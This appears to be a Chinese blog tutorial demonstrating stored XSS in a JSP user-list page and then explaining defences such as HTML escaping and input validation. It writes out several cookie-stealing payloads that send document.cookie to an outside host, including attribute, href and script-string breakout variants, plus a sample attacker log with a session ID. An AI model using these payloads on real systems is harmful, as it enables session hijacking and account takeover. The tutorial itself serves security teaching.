XSS 攻击&防御实验

不要觉得你的网站很安全,实际上每个网站或多或少都存在漏洞,其中xss/csrf是最常见的漏洞,也是最容易被开发者忽略的漏洞,一不小心就要被黑

下面以一个用户列表页面来演示xss攻击的实验

假设某个恶意用户在注册时输入的用户名中包含攻击代码

首先准备一个jsp页面来显示用户列表

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
<html>
<head>
<table>
<c:forEach items="${users}" var="user">
<tr>
<td>${user.userId}</td>
<td>${user.name}</td>
</tr>
</c:forEach>
</table>
</head>
<body>
</body>
</html>

然后模拟一个control从数据库取出用户列表,显示在该页面上

public class UserController extends HttpServlet {
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
//这里模拟从数据库中查询出来的用户
List<User> users = new ArrayList<User>();
users.add(new User(1 , "赖宝"));
users.add(new User(2 , "<script>alert('你被攻击了!');</script>"));
req.setAttribute("users" , users);
req.getRequestDispatcher("/users.jsp").forward(req,resp);
}
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doPost(req , resp);
}
}

当用户访问这个control后进入到用户列表页面,就会看到下面这样的效果了。

用浏览器的查看源代码功能可以看到页面的源代码如下:

<html>
<head>
<table>
<tr>
<td>1</td>
<td>赖宝</td>
</tr>
<tr>
<td>2</td>
<td><script>alert('你被攻击了!');</script></td>
</tr>
</table>
</head>
<body>
</body>
</html>

从html源代码中可以看出有脚本被插入到了页面并且被执行了。

上面这个例子的攻击者就是某个不怀好意的注册用户 , 被攻击者就是查看用户列表的一个管理员

高级攻击

当然,上面这样的攻击对被攻击者也造成不了多大的威胁,只是一个弹出而已,如果将攻击代码改成下面这样,你估计就不会这么觉得了。

//假设恶意用户又注册了用户名中包含攻击代码的用户
users.add(new User(3 , "<script>window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href </script>"));

当管理员再进入用户列表页面时就会发生悲剧了,首先看一下html源码变成啥样了

<html>
<head>
<table>
<tr>
<td>1</td>
<td>赖宝</td>
</tr>
<tr>
<td>2</td>
<td><script>alert('你被攻击了!');</script></td>
</tr>
<tr>
<td>3</td>
<td><script>window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href </script></td>
</tr>
</table>
</head>
<body>
</body>
</html>

上面的脚本执行了页面跳转,跳转到了一个攻击者的钓鱼网站,并且将当前用户的cookie,当前url等信息都当作参数传过去了。这个问题就大啦,熟悉http的都知道,有了cookie就相当拿到了当前用户的登录信息,攻击者就可以拿这些信息以管理员的身份访问用户列表了。

管理员的访问用户了列表页面后,浏览器变成了这样。(注意看浏览器地址栏,跳转到了钓鱼网站,并且将cookie和url传递过去了)

此时攻击者应该守在电脑屏幕等着网站管理员被攻击,此时他就能看到他的钓鱼网站的访问日志,日志中包含了被攻击用户的cookie与所访问的url

115.182.230.165 - - [22/May/2016:13:11:24 +0800] "GET /?c=__csrf_token__=8xK1wQ3t;%20JSESSIONID=6ub7dbn1pdwl1i1t3wms4i2jl&url=http://localhost:8080/user HTTP/1.1" 200 132 "http://localhost:8080/user" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"

这样攻击者就能立马模拟被攻击者的用户信息去访问用户列表页面,如果用户列表中包含用户的很多隐私信息,比如电话,身份证号码,密码(一般不会啦)那么就真的悲剧了,此时攻击者能干什么事,就取决于被攻击用户拥有什么权限了,如果是一个很高级别管理员被攻击,将会有更悲剧的事情发生,各位可以自行脑补

除了直接输出到html标签内的代码可能被攻击,如果攻击代码出现在html标签的属性中也有可能被攻击

比如页面改成下面这样:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
<html>
<head>
<table>
<c:forEach items="${users}" var="user">
<tr>
<td>${user.userId}</td>
<td userName="${user.name}">用户信息</td>
</tr>
</c:forEach>
</table>
</head>
<body>
</body>
</html>

当管理员访问页面时,浏览器查看html源码如下:


<html>
<head>
<table>
<tr>
<td>1</td>
<td userName="赖宝">用户信息</td>
</tr>
<tr>
<td>2</td>
<td userName="<script>alert('你被攻击了!');</script>">用户信息</td>
</tr>
<tr>
<td>3</td>
<td userName="<script>window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href </script>">用户信息</td>
</tr>
</table>
</head>
<body>
</body>
</html>

看到的页面如下:

页面显示正常,因为脚本信息被两个引号给包住了,脚本被当作一个普通字符串属性处理了,所以没有执行。

接下来把攻击脚本稍微修改

//脚本前面加了 ">
users.add(new User(3 , "\"> <script>window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href </script>"));

然后再看看此时html源码

<html>
<head>
<table>
<tr>
<td>1</td>
<td userName="赖宝">用户信息</td>
</tr> <tr>
<td>2</td>
<td userName="<script>alert('你被攻击了!');</script>">用户信息</td>
</tr>
<tr>
<td>3</td>
<td userName=""> <script>window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href </script>">用户信息</td>
</tr>
</table>
</head>
<body>
</body>
</html>

因为html如果找到一个>符号,就会关闭上一个标签开始下一个标签,所以攻击脚本中估计制造一个”>符号将td标签关闭,接下来的<script>脚本就能正常执行了。

上面的例子只是xss攻击方式里面比较常见的几种,但是足以说明xss攻击的原理与严重性,xss攻击方式是各种各样的,需要开发者在平时的开发中多注意,只要页面上需要展示不确定(用户输入的)的内容,都需要仔细对待

XSS防御

页面上直接输出的所有不确定(用户输入)内容都进行html转译

也就是将所有的[<,>,”,,&]等符号都用[<,>,",&]字符进行替换,这些html标签符号被替换后,浏览器就会拿它当作一个普通字符串对待,而不是当作一个标签的开始/结束标志对待。 比如下面的攻击代码在输出前进行转移

 String content = "<script>alert('ok');</script>";
content= StringEscapeUtils.escapeHtml4(content);
//被转后后成为了&lt;script&gt;alert('ok');&lt;/script&gt;字符串,然后再输出到浏览器

浏览器就不会将转译后的字符串当中脚本执行,而是直接输出一个字符串。 浏览器显示如下:

这样就已经能防御大部分xss攻击了

<a>标签的href属性中不要包含不确定(用户输入)的内容

上面的转译能够解决直接输出在html中的内容,原理是将脚本标签中的<>等符号转译替换掉,但是还有一些情况下执行脚本,是不一定要依赖标签的,也就是脚本不需要用<script></script>包住,那么转译对这种脚本就不起作用了,比如a标签中的href属性,除了直接指定一个url进行跳转,还可以通过javascript:xxx();的方式执行js代码。

比如注册用户信息是还要求用户输入一个博客地址(一个url),用户管理后台的列表中再加一列,让管理员直接点这个链接去访问用户的博客。

<td><a href="${user.blog}">博客地址</a></td>

攻击者在注册用户时,博客地址如果输入下面这样的脚本:

javascript:window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href

那么当管理员点击这个链接的时候,跟之前一样的悲剧就又发生了,管理员的登录信息又被攻击者盗取了。

所以千万不要直接将用户输入的信息输出到href属性中,即使一定要输出,也应该将内容中的javascript/document/cookie/…等js关键字替换掉 , 最好的方式就是直接将这个信息转译后输出到页面,让管理员复制链接然后再去打开博客

同样的还有onclick , onload , on… 等属性中也千万不要直接放置不确定的内容进去。

script脚本中不要使用不确定的内容

下面假设一个场景: 比如某个直播网站,主播可以设置昵称,用户可以进入该房间观看直播。并且js要用到该主播的昵称,比如要用js将主播昵称放到屏幕中间做一个滚动的效果。

某个开发人员像下面这样写代码 :

<script>
//获取主播昵称
var starNick = '${starNick}';
//让主播昵称在屏幕中间滚动
rollingStarNick(starNick);
</script>

看起来似乎没啥问题,但是主播如果是一个懂xss攻击,并且想盗取观看用户帐号信息的人。那么问题就大了。

假如主播将昵称改为如下代码:

';window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href;'

当用户进入房间后,脚本部分源码将变成这样:

<script>
var starNick = '';window.location.href='http://www.nuesile.com/?c=' + document.cookie + '&url=' + window.location.href;'' ;
rollingStarNick(starNick);
</script>

攻击脚本最前面的 ‘; 是为了结束变量starNick的定义,不然直接放要指定的脚本会被包裹在两个引号”中作为普通字符串处理。

悲剧发生了~,只要进入到这个房间,就会自动跳转到钓鱼网站,并且将cookie信息也传过去了。

对用户输入内容格式做校验

出现上面情况的前提是,服务端没有对用户输入的内容进行校验。假如服务端校验了博客地址是否是一个url格式、用户名是否包含特殊字符等信息,也就不会发生上面这些攻击了,所以服务端最好对用户输入的内容都进行格式校验。

防御总结

看完上面的例子之后,你还觉得你的网站非常安全吗~ ? xss攻击方式多种多样,常见的攻击方式上面都有举例,按照上面的几条防御原则,基本能防御绝大部分攻击了。当然还是需要开发人员格外细心,因为任何一个不注意,就可能导致严重的后果。

XSS 攻击实验 & 防御方案的更多相关文章

  1. web安全-XSS攻击及防御

    XSS攻击的原理 xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻 ...

  2. XSS攻击的防御

    XSS攻击的防御 XSS 攻击是什么 XSS 又称 CSS,全称 Cross SiteScript,跨站脚本攻击,是 Web 程序中常见的漏洞,XSS 属于被动式且用于客户端的攻击方式,所以容易被忽略 ...

  3. 转---如何让前端更安全?——XSS攻击和防御详解

    前言 平时很少关注安全这块的技术,曾经也买过一本<Web前端黑客技术揭秘>但至今还没翻过,尴尬.今天的早读文章由腾讯优测@小吉带来的分享. 正文从这开始~ 最近深入了解了一下XSS攻击.以 ...

  4. 前端XSS攻击和防御

    xss跨站脚本攻击(Cross Site Scripting),是一种经常出现在web应用中的计算机安全漏洞,指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会 ...

  5. XSS攻击及防御

    XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性.其原理是攻击者向有XSS漏洞的网站中输入 ...

  6. XSS攻击及防御(转)

    add by zhj: 略有修改.另外还有一篇文章值得参考,使用 PHP 构建的 Web 应用如何避免 XSS 攻击,总得来说防御XSS的方法是客户端和服务端都 要对输入做检查,如果只有客户端做检查, ...

  7. xss攻击与防御

    一.XSS攻击 Cross Site Scripting跨站脚本攻击 利用js和DOM攻击. 盗用cookie,获取敏感信息 破坏正常页面结构,插入恶意内容(广告..) 劫持前端逻辑 DDos攻击效果 ...

  8. Web 安全之 XSS 攻击与防御

    前言 黑客,相信大家对这一名词并不陌生,黑客们往往会利用 Web 应用程序的漏洞来攻击咱们的系统.开放式 Web 应用程序安全项目(OWASP, Open Web Application Securi ...

  9. Web 攻击之 XSS 攻击及防御策略

    XSS 攻击 介绍 XSS 攻击,从最初 netscap 推出 javascript 时,就已经察觉到了危险. 我们常常需要面临跨域的解决方案,其实同源策略是保护我们的网站.糟糕的跨域会带来危险,虽然 ...

随机推荐

  1. easyui更改messager的OkCancel按钮为(中文)确定取消

    jquery-easyui默认情况下,消息框的按钮文字是英文的OK  Cancel,但可以通过提供的方法进行修改,如: $.extend($.messager.defaults,{ ok:" ...

  2. 三轴陀螺仪与加速度计如何辅助 iPhone 定位的

    在所有之前解释一下陀螺仪 根据Wiki的定义:「陀螺仪是用于测量角度或维持方向的设备,基于角动量守恒原理.」 这句话的要点是测量角度或维持方向,这是 iPhone 4 为何搭载此类设备的原因.机械陀螺 ...

  3. hdu1536(sg函数)

    题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=1536 题意:首先输入K 表示一个集合的大小  之后输入集合 表示对于这对石子只能去这个集合中的元素的个 ...

  4. springboot与shiro和mybatis和mysql

    测试项目已上传到GitHub:https://github.com/xiaostudy/springboot_shiro_test1 1.创建springboot项目 <!-- 数据库连接池 - ...

  5. Alcatraz -- 一个神奇的管理插件的Xcode插件

    Install Paste this into your terminal: curl -fsSL https://raw.githubusercontent.com/supermarin/Alcat ...

  6. dosbox让DOSBox启动后自动执行命令——自动挂载

    学习汇编时. 每次启动DOSBox后,都要挂载.转盘符,于是有一个骚套路. 找到这个:bat文件 用记事本就可以编辑.  拉到最下面,找到[autoexec]部分,补充命令如下: mount c f: ...

  7. windows如何搭建redis集群

    操作系统:win10 64位 redis版本:3.2.1-x64 ruby版本:2.5.1-1-x64 rubygems版本:2.7.6 今天突然想简单的搭建一个redis的集群,因为系统是Windo ...

  8. Spring事件机制详解

    一.前言 说来惭愧,对应Spring事件机制之前只知道实现 ApplicationListener 接口,就可以基于Spring自带的事件做一些事情(如ContextRefreshedEvent),但 ...

  9. Location replace() 方法

    replace() 方法可用一个新文档取代当前文档. <!DOCTYPE html> <html> <head> <meta charset="ut ...

  10. ios 微信登录相关

    引入项目的文件 info.plist 添加内容 WXApi.registerApp(Config.wx.APP_ID,enableMTA: true)//注册微信api(在AppDelegate里面注 ...